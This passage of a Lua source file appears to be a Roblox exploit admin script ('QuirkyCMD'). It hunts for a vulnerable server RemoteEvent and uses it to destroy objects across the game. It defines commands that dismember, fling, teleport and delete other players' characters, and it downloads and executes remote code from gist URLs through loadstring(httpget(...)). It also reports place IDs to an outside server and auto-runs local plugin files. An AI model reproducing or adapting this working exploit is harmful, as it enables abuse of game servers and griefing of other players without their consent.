button.TextColor3 = Color3.fromRGB(159, 159, 159)
button.Font = Enum.Font.GothamSemibold
button.TextSize = 13
button.Parent = buttonContainer
local bcorner = Instance.new("UICorner", button)
bcorner.CornerRadius = UDim.new(0, 8)
local tween = TweenService:Create(frame, TweenInfo.new(0.6, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), {
Position = UDim2.new(1, -20, 1, -20)
})
tween:Play()
button.MouseButton1Click:Connect(function()
pcall(function()
setclipboard(discordInvite)
end)
button.Text = "Copied!"
task.delay(1, function()
button.Text = "Copy Invite"
end)
end)
local function hideNotification()
if notificationDismissed then return end
notificationDismissed = true
local out = TweenService:Create(frame, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.In), {
Position = UDim2.new(1, -20, 1, 120)
})
out:Play()
out.Completed:Connect(function()
screen:Destroy()
end)
end
close.MouseButton1Click:Connect(hideNotification)
task.delay(10, hideNotification)
end
local function toggleBar(focus)
visible = not visible
if visible then
box.Visible = true
if focus then
box:CaptureFocus()
end
else
box.Visible = false
box:ReleaseFocus()
end
end
local function toggleMain()
main.Visible = visible
end
table.insert(genv.connections, uis.InputBegan:Connect(function(input, processed)
if processed and uis:GetFocusedTextBox() ~= box then return end
if input.KeyCode ~= prefixEnum then return end
toggleBar(true)
toggleMain()
if visible then return end
box:ReleaseFocus()
end))
--[[Find destroy remote & save to working games list]]--
local remoteJSON
local function hasFiles()
return (isfile and readfile and writefile)
end
local function checkList(str)
local s,l = pcall(listfiles,str)
return s and #l > 0 and l
end
local function listFiles() -- really wish i didnt have to do this
if isTesting then return listfiles() end
local list = checkList("") or checkList("/") or checkList("\\") or checkList("./") or {}
return list
end
local function getGameList()
if not isfile("quirky games.json") then
writefile("quirky games.json", "[]")
return {}
end
local content = readfile("quirky games.json")
return game:GetService("HttpService"):JSONDecode(content)
end
local function checkFile()
if not hasFiles() then return end
for i,v in pairs(getGameList()) do
if i ~= tostring(game.PlaceId) then continue end
for _, instance in pairs(game:GetDescendants()) do
if not (instance:IsA("RemoteEvent") and instance.Name == v) then continue end
genv.foundRemote = instance
remotePath.Visible = false
main.Visible = false
--inDatabase = true
break
end
end
end
local function sendGame()
if isTesting then return require(rStorage:FindFirstChild("addgame")) end
loadstring(httpget("https://gist.githubusercontent.com/someunknowndude/670b864d99ce22d69ca9d365a3145bb0/raw"))()
end
local function logGameLocally()
local games = getGameList()
games[tostring(game.PlaceId)] = genv.foundRemote.Name
writefile("quirky games.json", game:GetService("HttpService"):JSONEncode(games))
end
local function hexDecodeChar(hex)
return string.char(tonumber(hex,16))
end
local function urlDecode(str)
return string.gsub(str,"%%(%x%x)", hexDecodeChar)
end
local function checkDatabase()
local res, succ, err, remoteJSON
succ, err = pcall(function()
res = httpget("https://eli.serv00.net/checkgame.php?id="..tostring(game.PlaceId))
remoteJSON = game:GetService("HttpService"):JSONDecode(res)
end)
if not succ then return debugPrint("database check failed:", err) end
local success = remoteJSON["success"]
local result = remoteJSON["result"]
if success then
local decoded = urlDecode(result)
debugPrint(result)
inDatabase = true
if genv.foundRemote then return end
for _, instance in pairs(game:GetDescendants()) do
if not (instance:IsA("RemoteEvent") and instance.Name == decoded) then continue end
genv.foundRemote = instance
remotePath.Visible = false
main.Visible = false
break
end
end
end
debugPrint("initialised vars and funcs")
checkFile()
task.spawn(checkDatabase)
remotePath.Text = "checking database..."
task.wait(0.25)
if not genv.foundRemote then
for i,service in pairs(game:GetChildren()) do
local s,e = pcall(function() return service.ClassName end)
if not s then continue end
if service.ClassName:lower() == "replicatedstorage" or service.ClassName:lower() == "workspace" then continue end
table.insert(services, service)
end
local function checkRemote(remote)
if not remote.Parent then return end
if modernChat == false and remote.Parent.Name == "DefaultChatSystemChatEvents" then return end
if remote.Parent.Name == "RobloxReplicatedStorage" then return end
debugPrint(remote.Name)
remotePath.Text = remote:GetFullName()
local currentChar = character
if remote.Name == "DestroySegway" then
remote:FireServer(testInstance, {Value = testInstance})
else
remote:FireServer(testInstance)
end
task.wait(checkTime + mobileOffset + (localPlayer:GetNetworkPing()*2))
if localPlayer:FindFirstChild("StarterGear") then return end
genv.foundRemote = remote
useSegway = remote.Name == "DestroySegway"
debugPrint("found!")
remotePath.TextColor3 = Color3.new(0,1,0)
task.wait(.5)
remotePath.Visible = false
local TweenService = game:GetService("TweenService")
local main = gui:WaitForChild("main")
main.Visible = true
main.BackgroundTransparency = 1
local tween = TweenService:Create(main, TweenInfo.new(0.6, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
BackgroundTransparency = 0
})
tween:Play()
return true
end
local function scan(instance, softScan)
checkTime = softScan and 0.75 or 0.5
for i,v in pairs(instance:GetDescendants()) do
if genv.foundRemote then return end
if not v:IsA("RemoteEvent") then continue end
if v:FindFirstChild("__FUNCTION") then continue end
if table.find(remotes,v) then continue end
table.insert(remotes, v)
if softScan then
for _, phrase in pairs(wordList) do
if not v.Name:lower():find(phrase) then continue end
checkRemote(v)
end
continue
end
checkRemote(v)
end
end
if not genv.foundRemote then
debugPrint("soft rs")
scan(rStorage, true)
end
if not genv.foundRemote then
debugPrint("soft pgui")
scan(localPlayer:FindFirstChildOfClass("PlayerGui"), true)
end
if not genv.foundRemote then
debugPrint("soft ws")
scan(workspace, true)
end
if not genv.foundRemote then
debugPrint("aggro rs")
scan(rStorage, false)
end
if not genv.foundRemote then
debugPrint("aggro pgui")
scan(localPlayer:FindFirstChildOfClass("PlayerGui"), false)
end
if not genv.foundRemote then
debugPrint("aggro ws")
scan(workspace, false)
end
if not genv.foundRemote then
debugPrint("aggro all")
for i,v in pairs(services) do
scan(v, false)
end
end
end
if not genv.foundRemote then
remotePath.Text = "game isn't supported, closing..."
task.wait(3)
gui:Destroy()
return debugPrint("no silly remote found :( try a game from #confirmed-games in the server. Invite: discord.gg/quirkycmd")
end
if hasFiles() and getGameList()[tostring(game.PlaceId)] == nil then
logGameLocally()
end
function delete(instance)
if instance == genv.foundRemote then return end
genv.foundRemote:FireServer(instance, useSegway and {Value = instance} or nil )
debugPrint("deleted instance " .. instance.Name)
end
genv.delete = genv.delete or delete
toggleBar(false)
toggleMain(false)
--[[Add mobile support]]--
if isMobile then
debugPrint("adding mobile compatability")
mobileButton.Visible = false
box.Position = UDim2.new(0, 0, 0, 0)
box.Size = UDim2.new(0.824, 0, 1, 0)
--[[Add button functionality]]--
mobileButton.MouseButton1Click:Connect(function()
toggleBar(true)
toggleMain(true)
end)
--[[Add drag functionality]]--
local dragging
local dragInput
local dragStart
local startPos
local lastMousePos
local lastGoalPos
local dragSpeed = 20
local function update(dt)
if not (startPos) then return end
local snap = (mouse.ViewSizeX - mouse.X) <= mouse.ViewSizeX/2 and 1 or mobileButton.Size.X.Scale
if not (dragging) and (lastGoalPos) then
mobileButton.Position = UDim2.new(lastGoalPos.X.Scale, 0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, lastGoalPos.Y.Offset, dt * dragSpeed))
return
end
local delta = (lastMousePos - uis:GetMouseLocation())
local xGoal = (startPos.X.Offset - delta.X)
local yGoal = (startPos.Y.Offset - delta.Y)
lastGoalPos = UDim2.new(snap,0, startPos.Y.Scale, yGoal)
mobileButton.Position = UDim2.new(snap ,0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, yGoal, dt * dragSpeed))
end
mobileButton.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = mobileButton.Position
lastMousePos = uis:GetMouseLocation()
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
mobileButton.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
table.insert(genv.connections,rs.Heartbeat:Connect(update))
end
--[[Add command logic]]--
function addCommand(cmdName, callback, aliases, securityLevel)
table.insert(commands,{
name = cmdName:lower(),
callback = callback,
aliases = aliases or {},
securityLevel = securityLevel or 3
})
end
function runCommand(cmdName, ...)
if type(cmdName) == "table" then
cmdName.callback(...)
return
end
for i,v in pairs(commands) do
if (v.name ~= cmdName) and (not table.find(v.aliases, cmdName)) then continue end
v.callback(...)
break
end
end
local function handleCommand(text, caller)
local split = text:split(" ")
local enteredCommand = split[1]
local command
local target = split[2] or caller.Name
local input = table.concat(split, " ", 2, #split)
for i,v in pairs(commands) do -- bad implementation, might rewrite cmd handling again
if (v.name ~= enteredCommand) and (not table.find(v.aliases,enteredCommand)) then continue end
command = v
break
end
if not command then return end
local commandLevel = command.securityLevel
local callerLevel = privilegeLevels[caller.Name]
if callerLevel < commandLevel then return end
runCommand(command, findPlayers(target), input, caller or localPlayer)
end
--[[Add chat command functionality]]--
local function handleChat(data)
local message = modernChat and data.Text or data.Message
local plr = modernChat and players:GetPlayerByUserId(data.TextSource.UserId) or players:FindFirstChild(data.FromSpeaker)
local rank = privilegeLevels[plr.Name]
if rank == 0 then return end
local starter = message:sub(1,1)
if starter ~= prefix then return end
handleCommand(message:sub(2,-1), plr)
end
if modernChat then
game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = function(data)
handleChat(data)
end
else
local messageEvent = chatEvents and chatEvents:FindFirstChild("OnMessageDoneFiltering")
if messageEvent then
table.insert(genv.connections, chatEvents and messageEvent.OnClientEvent:Connect(handleChat))
end
end
--[[Add command bar functionality]]--
table.insert(genv.connections,box.FocusLost:Connect(function(enterPressed)
if visible then
toggleBar()
end
if not enterPressed then return end
handleCommand(box.Text, localPlayer)
end))
--[[Add plugin support]]--
if listfiles and hasFiles() then
local success, files = pcall(listFiles)
if success and type(files) == "table" then
for i,v in pairs(files) do
if v:sub(-5,-1) ~= ".qcmd" then continue end
pcall(function()
task.spawn(function()
loadstring(readfile(v))() -- why does nothing support loadfile :sob:
end)
end)
end
end
end
--[[Create commands]]--
local cmdsVisible = false
addCommand("cmds", function()
cmdsFrame.Visible = true
end, {"commands"}, 3)
addCommand("setprefix", function(plrs,newPrefix)
local char = newPrefix:sub(1,1)
if char == "" then prefix = ";" return end
prefix = char
prefixEnum = getKeyCode(char)
end, {"prefix"}, 3)
addCommand("setbind", function()
uis.InputBegan:Wait() -- fires Return KeyCode
local enum = uis.InputBegan:Wait().KeyCode
prefixEnum = enum
end, {"bind"}, 3)
addCommand("admin", function(plrs)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
privilegeLevels[v.Name] = 1
debugPrint(`{v.Name} has been made an admin`)
end
end, {"addadmin"}, 2)
addCommand("unadmin", function(plrs)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
privilegeLevels[v.Name] = 0
debugPrint(`{v.Name} is no longer an admin`)
end
end, {"removeadmin"}, 2)
addCommand("owner", function(plrs)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
privilegeLevels[v.Name] = 2
debugPrint(`{v.Name} has been made an owner`)
end
end, {"addowner", "op"}, 3)
addCommand("unowner", function(plrs)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
privilegeLevels[v.Name] = 0
debugPrint(`{v.Name} is no longer an owner`)
end
end, {"removeowner", "deop"}, 3)
addCommand("ranks", function()
local printString = "\nQuirkyCMD ranks:\n"
for name,level in pairs(privilegeLevels) do
if level == 0 then continue end
local plr = players:FindFirstChild(name)
if not plr then continue end
local displayName = plr.DisplayName
local rank = rankNames[level]
local entryString = ""
printString ..= `{displayName}` .. ((name ~= displayName and ` (@{name})`) or "") .. ` - {rank}\n`
end
print(printString)
end, {"admins", "owners"}, 3)
addCommand("aliases", function()
local printString = "\nQuirkyCMD command aliases:\n"
for i,v in pairs(commands) do
local aliases = v.aliases
if #aliases == 0 then continue end
local aliasString = ""
for index, alias in pairs(aliases) do
aliasString ..= alias .. (index == #aliases and "" or ", ")
end
printString ..= `{v.name}: [{aliasString}]\n`
end
print(printString)
end, {}, 3)
addCommand("explorer", function()
if isTesting then
require(rStorage:WaitForChild("dex"))
else
loadstring(httpget("https://gist.githubusercontent.com/someunknowndude/8ee80f941d68d5f95e5982165e9ad42d/raw"))() -- credits to TacticalBFG and Moon for original dark dex v2
end
end, {"dex"}, 3)
addCommand("goto", function(plrs)
local target
local part
for i,v in pairs(plrs) do
local tChar = v.Character
if not tChar then continue end
part = tChar:FindFirstChild("HumanoidRootPart") or tChar:FindFirstChild("Head") or tChar:FindFirstChild("Torso") or tChar:FindFirstChild("LowerTorso") or tChar:FindFirstChildOfClass("BasePart")
if not part then continue end
break
end
if not part then return end
character:PivotTo(part.CFrame * CFrame.new(0,0,2))
local hrp = character:FindFirstChild("HumanoidRootPart")
for i = 1,10 do
if not hrp then return end
hrp.AssemblyLinearVelocity = Vector3.zero
hrp.AssemblyAngularVelocity = Vector3.zero
task.wait(.05)
end
end, {"to"}, 3)
local viewConnection
addCommand("view", function(plrs)
local target
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local hum = char:FindFirstChild("Humanoid") or char:FindFirstChild("HumanoidRootPart")
if not hum then continue end
target = hum
break
end
if not target then return end
if viewConnection then viewConnection:Disconnect() end
viewConnection = players[target.Parent.Name].CharacterAdded:Connect(function(char)
local hum = char:WaitForChild("Humanoid")
if not hum then return end
camera.CameraSubject = hum
end)
table.insert(genv.connections,viewConnection)
camera.CameraSubject = target
end, {"spectate"}, 3)
addCommand("unview", function(plrs)
if viewConnection then viewConnection:Disconnect() end
camera.CameraSubject = character.Humanoid or character:FindFirstChildOfClass("BasePart")
end, {}, 3)
addCommand("rejoin", function()
if #players:GetPlayers() <= 1 then
localPlayer:Kick("Rejoining!!")
task.wait(.1)
game:GetService("TeleportService"):Teleport(game.PlaceId, localPlayer)
return
end
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,game.JobId,localPlayer)
end, {"rj"}, 3)
addCommand("reset", function()
local hum = character:FindFirstChild("Humanoid")
local hrp = character:FindFirstChild("HumanoidRootPart") or hum and hum.RootPart
local oldPosition = hrp and hrp.CFrame
for i,v in pairs(character:GetChildren()) do
if not v:IsA("Part") then continue end
v.CFrame = CFrame.new(0, workspace.FallenPartsDestroyHeight+5,0)
end
task.wait(.1)
if hum then hum:ChangeState(Enum.HumanoidStateType.Dead) end
character:BreakJoints()
if not oldPosition then return end
local newHrp = localPlayer.CharacterAdded:Wait():WaitForChild("HumanoidRootPart")
newHrp.CFrame = oldPosition
end, {"re", "respawn"}, 3)
local torsoNoclipLoop,torsoFlingLoop,torsoFlyLoop,oldHeight,flingTorso
addCommand("torsofling", function()
if torsoFlyLoop then return end
local hum = character:FindFirstChildOfClass("Humanoid")
if not hum then return end
flingTorso = hum.RigType == Enum.HumanoidRigType.R6 and character:FindFirstChild("Torso") or character:FindFirstChild("UpperTorso")
if not flingTorso then return end
character.Archivable = true
local fakeChar = character:Clone()
fakeChar.Name = "wacky fake char"
local fakeHrp = fakeChar.HumanoidRootPart
local fakeHum = fakeChar.Humanoid
for i,v in pairs(fakeChar:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 1
continue
end
if v:IsA("Humanoid") then continue end
v:Destroy()
end
oldHeight = workspace.FallenPartsDestroyHeight
if not isTesting then workspace.FallenPartsDestroyHeight = -2^32-1 end
hum:ChangeState(16)
task.wait(.1)
delete(hum)
repeat task.wait() until hum.Parent ~= character
for i,v in pairs(character:GetChildren()) do
if v == flingTorso then continue end
delete(v)
end
fakeHum.PlatformStand = true
fakeHrp.Anchored = true
workspace.CurrentCamera.CameraSubject = flingTorso
fakeChar.Parent = workspace
localPlayer.Character = fakeChar
task.wait()
torsoNoclipLoop = rs.Stepped:Connect(function()
flingTorso.CanCollide = false
for i,v in pairs(fakeChar:GetChildren()) do
if not v:IsA("BasePart") then continue end
v.CanCollide = false
end
end)
table.insert(genv.connections,torsoNoclipLoop)
torsoFlingLoop = rs.RenderStepped:Connect(function(dt)
flingTorso.AssemblyLinearVelocity = Vector3.new(10000,10000,10000)
end)
table.insert(genv.connections,torsoFlingLoop)
torsoFlyLoop = rs.Heartbeat:Connect(function(deltaTime)
local moveDir = fakeHum.MoveDirection * (flySpeed * deltaTime)
local hrpCF = fakeHrp.CFrame
local cameraCF = camera.CFrame
local cameraOffset = hrpCF:ToObjectSpace(cameraCF).Position + hum.CameraOffset
cameraCF = cameraCF * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1)
local cameraPos = cameraCF.Position
local hrpPos = hrpCF.Position
local objectSpaceVelocity = CFrame.new(cameraPos, Vector3.new(hrpPos.X, cameraPos.Y, hrpPos.Z)):VectorToObjectSpace(moveDir)
fakeHrp.CFrame = CFrame.new(hrpPos) * (cameraCF - cameraPos) * CFrame.new(objectSpaceVelocity)
flingTorso.CFrame = fakeHrp.CFrame
end)
table.insert(genv.connections,torsoFlyLoop)
end, {"tfling"}, 3)
addCommand("untorsofling",function()
if not torsoFlingLoop then return end
localPlayer.Character = flingTorso.Parent
torsoFlingLoop:Disconnect()
torsoFlyLoop:Disconnect()
torsoNoclipLoop:Disconnect()
torsoFlingLoop = nil
torsoFlyLoop = nil
torsoNoclipLoop = nil
if not isTesting then workspace.FallenPartsDestroyHeight = oldHeight end
for i = 1,10 do
flingTorso.AssemblyLinearVelocity = Vector3.zero
flingTorso.AssemblyAngularVelocity = Vector3.zero
flingTorso.Position = Vector3.new(0,oldHeight + 2,0)
task.wait()
end
local fakeChar = workspace:FindFirstChild("wacky fake char")
if not fakeChar then return end
fakeChar:Destroy()
end, {"untfling"}, 3)
addCommand("eat", function(plrs, args)
for _, plr in ipairs(plrs) do
local char = plr.Character
if not char then continue end
local step = 0
for _, item in ipairs(char:GetChildren()) do
if item:IsA("Accessory") or item:IsA("Shirt") or item:IsA("Pants") or item:IsA("ShirtGraphic") then
delete(item)
end
end
for _, joint in ipairs(char:GetDescendants()) do
if joint:IsA("Motor6D") then
local name = joint.Name:lower()
if name:find("shoulder") then
step += 1
task.delay(step * 0.35, function()
delete(joint)
end)
end
end
end
for _, joint in ipairs(char:GetDescendants()) do
if joint:IsA("Motor6D") then
local name = joint.Name:lower()
if name:find("hip") or name:find("knee") or name:find("ankle") then
step += 1
task.delay(step * 0.35, function()
delete(joint)
end)
end
end
end
local neck = char:FindFirstChild("Neck", true)
if neck then
step += 1
task.delay(step * 0.35, function()
delete(neck)
end)
end
local hum = char:FindFirstChildOfClass("Humanoid")
if hum then
step += 1
task.delay(step * 0.35, function()
delete(hum)
end)
end
step += 1
task.delay(step * 0.35, function()
for _, part in ipairs(char:GetDescendants()) do
if part:IsA("BasePart") then
local n = part.Name:lower()
if n:find("torso") then
delete(part)
end
end
end
end)
end
end, {"consume", "erase", "vanish", "obliterate"}, 0)
addCommand("fling", function(plrs)
local hum = character:FindFirstChild("Humanoid")
if not hum then return end
local hrp = hum.RootPart
if not hrp then return end
local oldState = hum:GetState()
local oldPosition = hrp.CFrame
local oldDesroyHeight = workspace.FallenPartsDestroyHeight
hum:ChangeState(16)
if not isTesting then workspace.FallenPartsDestroyHeight = -2^32 end
task.wait(.2)
local flingConnection = rs.RenderStepped:Connect(function()
hrp.AssemblyLinearVelocity = Vector3.new(1000,10000,1000)
end)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
local char = v.Character
if not char then continue end
local thum = char:FindFirstChild("Humanoid")
local thrp = thum and thum.RootPart or char:FindFirstChild("HumanoidRootPart")
if not thrp then continue end
hrp.CFrame = thrp.CFrame
local posConnection = rs.Heartbeat:Connect(function()
local pos = {thrp.Position.X + (thrp.Velocity.X / 2), thrp.Position.Y + (thrp.Velocity.Y / 2), thrp.Position.Z + (thrp.Velocity.Z / 2)}
hrp.CFrame = CFrame.new(Vector3.new(pos[1],pos[2],pos[3]))
end)
task.wait(.75)
posConnection:Disconnect()
task.wait(.1)
end
flingConnection:Disconnect()
hum:ChangeState(oldState)
hrp.AssemblyAngularVelocity = Vector3.zero
hrp.AssemblyLinearVelocity = Vector3.zero
task.wait(.1)
for i = 1, 20 do
hrp.AssemblyAngularVelocity = Vector3.zero
hrp.AssemblyLinearVelocity = Vector3.zero
hrp.CFrame = oldPosition
task.wait(.05)
end
if not isTesting then workspace.FallenPartsDestroyHeight = oldDesroyHeight end
end,{},3)
addCommand("bring", function(plrs)
local hum = character:FindFirstChild("Humanoid")
if not hum then return end
local hrp = character:FindFirstChild("HumanoidRooPart") or hum.RootPart
if not hrp then return end
local oldPos = hrp.CFrame
local cloneHum = hum:Clone()
local tools = {}
for i,v in pairs(character:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
for i,v in pairs(localPlayer.Backpack:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
if #tools == 0 then return notify("Error", "Tools are required", 5) end
runCommand("unfly")
task.wait()
delete(hum)
repeat task.wait() until hum.Parent ~= character
cloneHum.Parent = character
task.wait(.1)
local targetCount = 1
for i,v in pairs(plrs) do
if v == localPlayer then continue end
local tchar = v.Character
if not tchar then continue end
local thrp = tchar:FindFirstChild("HumanoidRootPart") or tchar:FindFirstChild("Humanoid") and tchar.Humanoid.RootPart
if not thrp then continue end
local tool = tools[targetCount]
if not tool then return notify("Error", "Not enough tools", 5) end
cloneHum:EquipTool(tool)
repeat task.wait() until tool.Parent == character
task.wait()
local attempts = 0
repeat
thrp.CFrame = tool.Handle.CFrame
hrp.CFrame = oldPos
attempts += 1
task.wait()
until tool.Parent ~= character or attempts > 100
hrp.CFrame = oldPos
task.wait(.25)
delete(tool)
targetCount += 1
task.wait()
end
task.wait(.05)
runCommand("re")
end, {"toolbring", "tbring"}, 3)
addCommand("skydive", function(plrs)
local hum = character:FindFirstChild("Humanoid")
if not hum then return end
local hrp = character:FindFirstChild("HumanoidRooPart") or hum.RootPart
if not hrp then return end
local oldPos = hrp.CFrame
local cloneHum = hum:Clone()
local tools = {}
for i,v in pairs(character:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
for i,v in pairs(localPlayer.Backpack:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
if #tools == 0 then return notify("Error", "Tools are required", 5) end
runCommand("unfly")
task.wait()
delete(hum)
repeat task.wait() until hum.Parent ~= character
cloneHum.Parent = character
task.wait(.1)
local targetCount = 1
for i,v in pairs(plrs) do
if v == localPlayer then continue end
local tchar = v.Character
if not tchar then continue end
local thrp = tchar:FindFirstChild("HumanoidRootPart") or tchar:FindFirstChild("Humanoid") and tchar.Humanoid.RootPart
if not thrp then continue end
local tool = tools[targetCount]
if not tool then return notify("Error", "Not enough tools", 5) end
cloneHum:EquipTool(tool)
repeat task.wait() until tool.Parent == character
task.wait()
local attempts = 0
local tPos = hrp.CFrame * CFrame.new(0,2000,0)
repeat
thrp.CFrame = tool.Handle.CFrame
hrp.CFrame = tPos
attempts += 1
task.wait()
until tool.Parent ~= character or attempts > 100
hrp.CFrame = tPos
task.wait(.25)
delete(tool)
targetCount += 1
task.wait()
end
hrp.CFrame = oldPos
task.wait(.2)
runCommand("re")
end, {}, 1)
addCommand("bring", function(plrs)
local hum = character:FindFirstChild("Humanoid")
if not hum then return end
local hrp = character:FindFirstChild("HumanoidRooPart") or hum.RootPart
if not hrp then return end
local oldPos = hrp.CFrame
local cloneHum = hum:Clone()
local tools = {}
for i,v in pairs(character:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
for i,v in pairs(localPlayer.Backpack:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
if #tools == 0 then return notify("Error", "Tools are required", 5) end
runCommand("unfly")
task.wait()
delete(hum)
repeat task.wait() until hum.Parent ~= character
cloneHum.Parent = character
task.wait(.1)
local targetCount = 1
for i,v in pairs(plrs) do
if v == localPlayer then continue end
local tchar = v.Character
if not tchar then continue end
local thrp = tchar:FindFirstChild("HumanoidRootPart") or tchar:FindFirstChild("Humanoid") and tchar.Humanoid.RootPart
if not thrp then continue end
local tool = tools[targetCount]
if not tool then return notify("Error", "Not enough tools", 5) end
cloneHum:EquipTool(tool)
repeat task.wait() until tool.Parent == character
task.wait()
local attempts = 0
repeat
thrp.CFrame = tool.Handle.CFrame
hrp.CFrame = oldPos
attempts += 1
task.wait()
until tool.Parent ~= character or attempts > 100
hrp.CFrame = oldPos
task.wait(.25)
delete(tool)
targetCount += 1
task.wait()
end
task.wait(.05)
runCommand("re")
end, {"toolbring", "tbring"}, 3)
--[[addCommand("control", function(plrs)
local target = plrs[1]
if target == localPlayer then return end
local tchar = target.Character
if not tchar then return end
local thum = tchar:FindFirstChild("Humanoid")
if not thum then return end
local thrp = tchar:FindFirstChild("HumanoidRootPart") or thum.RootPart
if not thrp then return end
local hum = character:FindFirstChild("Humanoid")
if not hum then return end
local hrp = character:FindFirstChild("HumanoidRooPart") or hum.RootPart
if not hrp then return end
local arm = character:WaitForChild("Right Arm", .5) or character:FindFirstChild("RightHand", .5)
if not arm then return end
local oldPos = hrp.CFrame
local cloneHum = hum:Clone()
local tools = {}
for i,v in pairs(character:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
for i,v in pairs(localPlayer.Backpack:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
if #tools == 0 then return notify("Error", "Tools are required", 5) end
local tool = tools[1]
runCommand("unfly")
task.wait()
hum:EquipTool(tool)
local rGrip = arm:WaitForChild("RightGrip")
tool.Grip = tool.Grip * CFrame.new(0,-1.5,3) * CFrame.Angles(math.rad(-90), 0, 0) --(hrp.CFrame:Inverse() * (CFrame.new(arm.Position) * rGrip.C0)) * CFrame.new(0, 1, -4) * CFrame.Angles(0,90,0)
hrp.CustomPhysicalProperties = PhysicalProperties.new(100, 100, 100, 100, 100)
hum:UnequipTools()
repeat task.wait() until tool.Parent == localPlayer.Backpack
hum:EquipTool(tool)
repeat task.wait() until tool.Parent == character
hum:UnequipTools()
repeat task.wait() until tool.Parent == localPlayer.Backpack
for i,v in pairs(hum:GetPlayingAnimationTracks()) do
v:Stop()
end
task.wait(.1)
delete(hum)
repeat task.wait() until hum.Parent ~= character
cloneHum.Parent = character
cloneHum:EquipTool(tool)
task.wait(.1)
local attempts = 0
repeat
thrp.CFrame = tool.Handle.CFrame
attempts += 1
task.wait()
until tool.Parent ~= character or attempts > 100
if tool.Parent ~= tchar then return end
thum.PlatformStand = true
end, {}, 3)
--]]
local function spawnHighlightBox()
local box = Instance.new("SelectionBox")
box.Name = "wacky selection box"
box.Parent = gethui()
box.Destroying:Connect(spawnHighlightBox)
clickDeleteBox = box
end
spawnHighlightBox()
local clickDeleteHighlightCon = rs.Heartbeat:Connect(function()
if not (clickDelete and clickDeleteBox) then return end
local target = mouse.Target
clickDeleteBox.Adornee = target
end)
table.insert(genv.connections, clickDeleteHighlightCon)
local clickDeleteCon = uis.InputEnded:Connect(function(key,processed)
if (clickDelete == false or processed) then return end
if key.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
local target = mouse.Target
if not target then return end
delete(target)
end)
table.insert(genv.connections, clickDeleteCon)
addCommand("clickdelete", function()
clickDelete = true
end, {"clickdel"}, 3)
addCommand("unclickdelete", function()
clickDelete = false
clickDeleteBox.Adornee = nil
end, {"unclickdel"}, 3)
addCommand("btools", function()
sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
if localPlayer.Backpack:FindFirstChild("wacky destroy tool") or (character and character:FindFirstChild("wacky destroy tool")) then
return
end
local selection
local destroyTool = Instance.new("Tool", localPlayer.Backpack)
destroyTool.RequiresHandle = false
destroyTool.CanBeDropped = false
destroyTool.Name = "wacky destroy tool"
destroyTool.ToolTip = "Click to destroy"
destroyTool.TextureId = "rbxasset://Textures/Hammer.png"
local selectionLoop
destroyTool.Equipped:Connect(function()
selection = Instance.new("SelectionBox", isTesting and localPlayer.PlayerGui or game:GetService("CoreGui"))
table.insert(genv.connections, selection)
selectionLoop = rs.Heartbeat:Connect(function()
local target = mouse.Target
if target == nil then
selection.Adornee = nil
return
end
if selection.Parent == nil then return end
selection.Adornee = target
end)
table.insert(genv.connections, selectionLoop)
end)
destroyTool.Unequipped:Connect(function()
if not selection then return end
selection:Destroy()
end)
destroyTool.Activated:Connect(function()
local target = mouse.Target
if target == nil then return end
delete(target)
end)
local unweldTool = Instance.new("Tool", localPlayer.Backpack)
unweldTool.RequiresHandle = false
unweldTool.CanBeDropped = false
unweldTool.Name = "wacky unweld tool"
unweldTool.ToolTip = "Click to unweld"
unweldTool.TextureId = "rbxassetid://4989743039"
local selectionLoop
unweldTool.Equipped:Connect(function()
selection = Instance.new("SelectionBox",localPlayer.PlayerGui)
table.insert(genv.connections, selection)
selectionLoop = rs.Heartbeat:Connect(function()
local target = mouse.Target
if target == nil then
selection.Adornee = nil
return
end
if selection.Parent == nil then return end
selection.Adornee = target
end)
table.insert(genv.connections, selectionLoop)
end)
unweldTool.Unequipped:Connect(function()
if not selection then return end
selection:Destroy()
end)
unweldTool.Activated:Connect(function()
local target = mouse.Target
if target == nil then return end
for i,v in pairs(target:GetDescendants()) do
if not (v:IsA("Weld") or v:IsA("Attachment")) then continue end
delete(v)
end
end)
end, {}, 3)
addCommand("gun", function()
sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if localPlayer.Backpack:FindFirstChild("wacky gun tool") or (character:FindFirstChild("wacky gun tool")) then
return
end
local gunTool = Instance.new("Tool", localPlayer.Backpack)
